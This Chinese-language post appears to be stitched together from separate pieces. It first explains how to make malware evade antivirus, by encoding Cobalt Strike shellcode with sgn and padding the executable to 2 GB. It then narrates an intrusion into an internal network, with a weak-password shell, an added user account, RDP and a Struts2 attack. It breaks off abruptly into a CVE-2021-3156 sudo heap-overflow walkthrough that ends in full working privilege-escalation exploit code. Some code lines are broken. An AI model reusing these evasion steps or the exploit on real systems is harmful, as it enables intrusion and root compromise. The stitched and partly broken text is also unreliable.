首先是shellcode免杀，shellcode免杀可以使用github上的sgn加密工具，免杀效果能达到vt0检测。github链接:https://github.com/EgeBalci/sgn

使用方法也很简单，把cs生成的shellcode放在sgn文件夹中执行 ,***.sgn就是免杀之后的shellcode了。

sgn.exe shellcode文件名

免杀前效果

免杀后效果

剩下的就是加载器本身的免杀了，这里我就用github随便clone下来的加载器。可以看到编译完成都没来得及运行就直接被杀了。那么怎么在不动加载器的源代码的情况下。完成免杀效果呢。

其实有一个比较抽象的技巧，就是当文件足够大之后，杀软的沙箱就不会去运行该程序，从而实现绕过杀软的检测。比如一个几百m的exe杀软就不会去检测。

那么怎么能让文件变得足够大呢？就是不断往文件后面填充垃圾字符，比如\x00这样既不会影响exe执行，又能够让exe变得足够大。比如我用python不断往文件后面追加\x00字符。

这里上代码

with open('1.exe', 'ab') as f:\f.write(b'\x00' * 1024 * 1024 * 100)

可以看到每次运行add.py 1.exe就大了100m。

然后多次运行，当1.exe达到2g的时候，根据每个杀毒软件版本不一定能用。有些新的杀软不会检测文件大小判断是否运行。（这个方法很玄学，不是很稳定，有时候能有有时候不能用。但是还是值得一试，毕竟是老前辈传承下来的经典免杀手法。）

但是问题来了，2个g的文件怎么上传到服务器又是一个问题，这里就要说明一下\x00的好处了，可以通过压缩成zip的方式把exe压缩，压缩文件的体积其实还是和之前编译好的文件差不多大。然后只能很方便的就能够把压缩包上传到服务器，然后通过服务器的命令去进行解压。也可以通过webshell去实现解压文件的功能。

0x04 内网移动

之后便是熟悉的内网横向环节了。首先是看到了一个弱口令，然后直接链接数据库然后getshell。

然后直接net user add，之后3389链接上服务器，翻出了一个密码本。

找到一个双网卡的sql server服务器，然后上线，扫一波SMB

最后找到重要系统10.x.x.x 这个系统，看着是java写的后端,也是一个看起来很老的界面了。

扫了一下路径发现存在druid。

原本想找session登录的，然后想了一下试一下运气直接怼一波st2，成功拿下（也是运气爆棚）

直接拉取合适的docker

docker 环境：

https://hub.docker.com/r/chenaotian/cve-2021-3156

下载glibc-2.27源码和sudo-1.8.21源码

漏洞分析

    /* set user_args */
    if (NewArgc > 1) {
        char *to, *from, **av;
        size_t size, n;

        /* Alloc and build up user_args. */
        for (size = 0, av = NewArgv + 1; *av; av++)
        size += strlen(*av) + 1; //计算command缓冲区的大小，每个command后面跟一个空格符
        if (size == 0 || (user_args = malloc(size)) == NULL) {  //分配堆块，存放command
        sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
        debug_return_int(-1);
        }
        if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {  // 设置-s参数进入分支
        /*
         * When running a command via a shell, the sudo front-end
         * escapes potential meta chars.  We unescape non-spaces
         * for sudoers matching and logging purposes.
         */
        for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
            while (*from) {
            if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                from++; // 跳过反斜杠
            *to++ = *from++; // 复制反斜杠后面的字符
            } // 漏洞点在于当结尾是\且后面不是空格时，会from++一次，在拷贝完后还会from++，再去判断while的条件，就跳过了0，造成了越界写。
            *to++ = ' '; //每个command后面跟一个空格
        }
        *--to = '';
        } else {
        for (to = user_args, av = NewArgv + 1; *av; av++) {
            n = strlcpy(to, *av, size - (to - user_args));
            if (n >= size - (to - user_args)) {
            sudo_warnx(U_("internal error, %s overflow"), __func__);
            debug_return_int(-1);
            }
            to += n;
            *to++ = ' ';
        }
        *--to = '';
        }
    }
    }

结合调试，可以对漏洞的情况有更清楚的了解。参数以反斜杠结尾会导致写入一个零字节而继续赋值下一个参数，在这里有两点：

①以反斜杠结尾可导致溢出

②以反斜杠作为参数可以写入零字节

同时，被溢出的那个堆块的大小等于对应参数长度+1。

漏洞调试

glibc源码

gdb exp
catch exec
b policy_check
b sudoers.c:846

b setlocale
b sudo.c:148
b setlocale.c:369 // strdup
b setlocale.c:398

b nss_load_library

gcc exp.c -o exp2 -lm

漏洞利用

1 利用目标

p ni

可以发现service_user结构体在堆上

堆块大小为0x40

nss_load_library的函数调用流程和相关的数据结构机制

/* Load library.  */
static int

' (service_user *ni)
{
  if (ni->library == NULL) // ni->library等于0进入分支
    {
      /* This service has not yet been used.  Fetch the service
     library for it, creating a new one if need be.  If there
     is no service table from the file, this static variable
     holds the head of the service_library list made from the
     default configuration.  */
      static name_database default_table;
      ni->library = nss_new_service (service_table ?: &default_table,
                     ni->name); // 新建一个ni->library，并将成员初始化
      if (ni->library == NULL)
    return -1;
    }

  if (ni->library->lib_handle == NULL) // ni->library是新建的，lib_handle是0
    {
      /* Load the shared library.  */
      size_t shlen = (7 + strlen (ni->name) + 3
              + strlen (__nss_shlib_revision) + 1);
      int saved_errno = errno;
      char shlib_name[shlen];

      /* Construct shared object name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                          "libnss_"),
                    ni->name),
              ".so"),
        __nss_shlib_revision); // shlib_name经过拼接得到 libnss_+ni->name+.so+__nss_shlib_revision

      ni->library->lib_handle = __libc_dlopen (shlib_name);// 加载动态库
      if (ni->library->lib_handle == NULL)
    {
      /* Failed to load the library.  */
      ni->library->lib_handle = (void *) -1l;
      __set_errno (saved_errno);
    }

通过对nss_load_library源码的分析，发现这里如果能将ni结构体的library覆盖为0，name覆盖成自己的so文件名，具体为libnss_XXX/test.so.2，其中libnss_是拼接的路径，XXX/test是name的值，.so.2是拼接上去的，拼接后libnss_XXX/test.so.2表示当前路径下libnss_XXX文件夹中的test.so.2，我们完成修改后，在当前路径下创建对应的文件夹，将恶意文件放到其中，更名为test.so.2，就能加载执行恶意文件。

2 堆块布局

接下来，就是需要想办法将这个service_user结构体放到存在溢出的堆块下面。

这就来到了第二个问题，setlocale 如何通过环境变量LC_* 进行堆布局。

// locale\setlocale.c
      /* Load the new data for each category.  */
      while (category-- > 0)
    if (category != LC_ALL)
      {
        newdata[category] = _nl_find_locale (locale_path, locale_path_len,
                         category,
                         &newnames[category]);//通过_nl_find_locale函数去获取环境变量的值，存放在newdata[category]中

        if (newdata[category] == NULL)
          {
#ifdef NL_CURRENT_INDIRECT
        if (newnames[category] == _nl_C_name)
          /* Null because it's the weak value of _nl_C_LC_FOO.  */
          continue;
#endif
        break;
          }

首先是通过_nl_find_locale函数去获取环境变量的值，存放在newdata[category]中

// locale\findlocale.c
struct __locale_data *
_nl_find_locale (const char *locale_path, size_t locale_path_len,
         int category, const char **name)
{
    ......
/* LOCALE can consist of up to four recognized parts for the XPG syntax:

        language[_territory[.codeset]][@modifier]

     Beside the first all of them are allowed to be missing.  If the
     full specified locale is not found, the less specific one are
     looked for.  The various part will be stripped off according to
     the following order:
        (1) codeset
        (2) normalized codeset
        (3) territory
        (4) modifier
   */
   //locale的命名规则为<语言>_<地区>.<字符集编码>，如zh_CN.UTF-8，zh代表中文，CN代表大陆地区，UTF-8表示字符集。
   // C.UTF-8@AAAAAAAAA
  mask = _nl_explode_name (loc_name, &language, &modifier, &territory,
               &codeset, &normalized_codeset);
               // 判断四个部分那部分有缺失
  if (mask == -1)
    /* Memory allocate problem.  */
    return NULL;

  /* If exactly this locale was already asked for we have an entry with
     the complete name.  */
  locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],
                    locale_path, locale_path_len, mask,
                    language, territory, codeset,
                    normalized_codeset, modifier,
                    _nl_category_names.str
                    + _nl_category_name_idxs[category], 0);

  if (locale_file == NULL)
    {
      /* Find status record for addressed locale file.  We have to search
     through all directories in the locale path.  */
      locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],
                    locale_path, locale_path_len, mask,
                    language, territory, codeset,
                    normalized_codeset, modifier,
                    _nl_category_names.str
                    + _nl_category_name_idxs[category], 1);
      if (locale_file == NULL)
    /* This means we are out of core.  */
    return NULL;
    }

结合源码和相关资料，可以知道locale的命名规则为<语言>_<地区>.<字符集编码>，如zh_CN.UTF-8，zh代表中文，CN代表大陆地区，UTF-8表示字符集。例如C.UTF-8@AAAAAAAAA

堆申请原语和堆释放原语

// locale\setlocale.c
      /* Load the new data for each category.  */
      while (category-- > 0)
    if (category != LC_ALL)
      {
        newdata[category] = _nl_find_locale (locale_path, locale_path_len,
                         category,
                         &newnames[category]);//通过_nl_find_locale函数去获取环境变量的值，存放在newdata[category]中

        if (newdata[category] == NULL)
          {
#ifdef NL_CURRENT_INDIRECT
        if (newnames[category] == _nl_C_name)
          /* Null because it's the weak value of _nl_C_LC_FOO.  */
          continue;
#endif
        break;
          }

        /* We must not simply free a global locale since we have
           no control over the usage.  So we mark it as
           un-deletable.  And yes, the 'if' is needed, the data
           might be in read-only memory.  */
        if (newdata[category]->usage_count != UNDELETABLE)
          newdata[category]->usage_count = UNDELETABLE;

        /* Make a copy of locale name.  */
        if (newnames[category] != _nl_C_name)
          {
        if (strcmp (newnames[category],
                _nl_global_locale.__names[category]) == 0)
          newnames[category] = _nl_global_locale.__names[category];
        else
          {
            newnames[category] = __strdup (newnames[category]);
            //使用__strdup函数在堆内存中分配空间，并将newdata[category]拷贝进去
            if (newnames[category] == NULL)
              break;
          }
          }
      }

      /* Create new composite name.  */
      composite = (category >= 0
           ? NULL : new_composite_name (LC_ALL, newnames));
      if (composite != NULL)
    {
      /* Now we have loaded all the new data.  Put it in place.  */
      for (category = 0; category < __LC_LAST; ++category)
        if (category != LC_ALL)
          {
        setdata (category, newdata[category]);
        setname (category, newnames[category]);
          }
      setname (LC_ALL, composite);

      /* We successfully loaded a new locale.  Let the message catalog
         functions know about this.  */
      ++_nl_msg_cat_cntr;
    }
      else
    for (++category; category < __LC_LAST; ++category)
      if (category != LC_ALL && newnames[category] != _nl_C_name
          && newnames[category] != _nl_global_locale.__names[category])
        free ((char *) newnames[category]);
        //这里就是堆块释放的原语了，只要有一个区域设置的值不符合规范，则将之前所有申请的堆块都释放掉

先使用__strdup函数在堆内存中分配空间，并将newdata[category]拷贝进去，其中

char * __strdup(const char *s)
{
   size_t  len = strlen(s) +1;
   void *new = malloc(len);
   if (new == NULL)
      return NULL;
   return (char *)memecpy(new,s,len);
}

然后当遇到不合法的区域的值时，就会将前面申请的堆都free掉。

locale把按照所涉及到的使用习惯的各个方面分成12个大类，这12个大类分别是：

1、语言符号及其分类(LC_CTYPE) 

2、数字(LC_NUMERIC) 

3、比较和习惯(LC_COLLATE) 

4、时间显示格式(LC_TIME) 

5、货币单位(LC_MONETARY) 

6、信息主要是提示信息,错误信息,状态信息,标题,标签,按钮和菜单等(LC_MESSAGES) 

7、姓名书写方式(LC_NAME) 

8、地址书写方式(LC_ADDRESS) 

9、电话号码书写方式(LC_TELEPHONE) 

10、度量衡表达方式 (LC_MEASUREMENT) 

11、默认纸张尺寸大小(LC_PAPER) 

12、对locale自身包含信息的概述(LC_IDENTIFICATION)。

对应

"LC_CTYPE"
"LC_NUMERIC"
"LC_TIME"
"LC_COLLATE"
"LC_MONETARY",
"LC_MESSAGES"
"LC_ALL"
"LC_PAPER"
"LC_NAME"
"LC_ADDRESS"
"LC_TELEPHONE"
"LC_MEASUREMENT"
"LC_IDENTIFICATION"

其中，处理是从下往上的顺序处理的，所以在传参的时候要注意一下顺序，不然最开始就错误全部释放掉了。

接下里就是想要如何将一个service_user申请到前面我的堆块前面

可以在申请service_user前，先利用堆申请原语和堆释放原语挖好坑。由于知道service_user的chunk大小是0x40，而我们堆溢出的chunk的大小可以自己控制，只要保证大小对应，就可以了。

通过动态调试可以明确__strdup的参数是C.UTF-8@XXXXXX，所以得到的堆块size是参数长度+1，利用下面脚本生成目标size的内容。

length = 0x38
while(length < 0x100):
    tail = 'C.UTF-8@'
    # length = 0x48
    q = "a"*(length-2)+"\\"
    p = tail+'a'*(length-1-len(tail))
    print(hex(length))
    print(q)
    print(p)
    length += 0x10

经过测试，先按照0x40,0x40,0xa0,0x40的顺序设置4个，再设置一个不合法的，可以在中间一些无法避免的堆块操作后得到一个可利用的堆排布。最后设置一个非法的值。

"LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_NAME=xxxxxxxx"

其中0xa0是为堆溢出的堆块留的坑

    /* set user_args */
    if (NewArgc > 1) {
        char *to, *from, **av;
        size_t size, n;

        /* Alloc and build up user_args. */
        for (size = 0, av = NewArgv + 1; *av; av++)
        size += strlen(*av) + 1;
        if (size == 0 || (user_args = malloc(size)) == NULL) {
        sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
        debug_return_int(-1);
        }

在malloc前下断点·

b sudoers.c:849

查看bins，可以看到tcachebins中0xa0正好有一个堆块

然后在nss_load_library下断点，查看service_user

b nss_load_library
p ni

可以看到前面0xa0的堆块在service_user的前面，这样就可以通过溢出覆盖name字段

所以填坑的参数按照前面的分析应该是

"a"*(0x98-1)+"\\"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\"

综合得到如下初步exp

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<math.h>

#define __LC_CTYPE               0
#define __LC_NUMERIC             1
#define __LC_TIME                2
#define __LC_COLLATE             3
#define __LC_MONETARY            4
#define __LC_MESSAGES            5
#define __LC_ALL                 6
#define __LC_PAPER               7
#define __LC_NAME                8
#define __LC_ADDRESS             9
#define __LC_TELEPHONE          10
#define __LC_MEASUREMENT        11
#define __LC_IDENTIFICATION     12

char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELEPHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};

int main()
{
    char *argv[] = {"sudoedit","-s","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\",NULL};// malloc(size) size = arg1_len + 1
    char *env[] = {"XXX/test","LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_NAME=xxxxxxxx",NULL};
    execve("/usr/local/bin/sudoedit",argv,env);
}

3 溢出利用

当前exp把XXX/test写到了0x555555623b07

此时的service_user在0x5555556241b0，name的偏移是0x30

start = 0x555555623b07
end = 0x5555556241b0+0x30
n = end-start
print(n)
for i in range(n):
    print('"\\\\"',end=',')   

前面知道以反斜杠作为单独的参数，能够写入\x00，由于这里需要把library字段覆盖为0，所以通过上述代码生成相应数量的反斜杠，并填在XXX/test前，将XXX/test填入name的同时将library填为0。

共1753个反斜杠

exp

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<math.h>

#define __LC_CTYPE               0
#define __LC_NUMERIC             1
#define __LC_TIME                2
#define __LC_COLLATE             3
#define __LC_MONETARY            4
#define __LC_MESSAGES            5
#define __LC_ALL                 6
#define __LC_PAPER               7
#define __LC_NAME                8
#define __LC_ADDRESS             9
#define __LC_TELEPHONE          10
#define __LC_MEASUREMENT        11
#define __LC_IDENTIFICATION     12

char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELEPHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};

int main()
{
    char *argv[] = {"sudoedit","-s","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\",NULL};// malloc(size) size = arg1_len + 1
    char *env[] = {"\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","XXX/test","LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_NAME=xxxxxxxx",NULL};
    execve("/usr/local/bin/sudoedit",argv,env);
}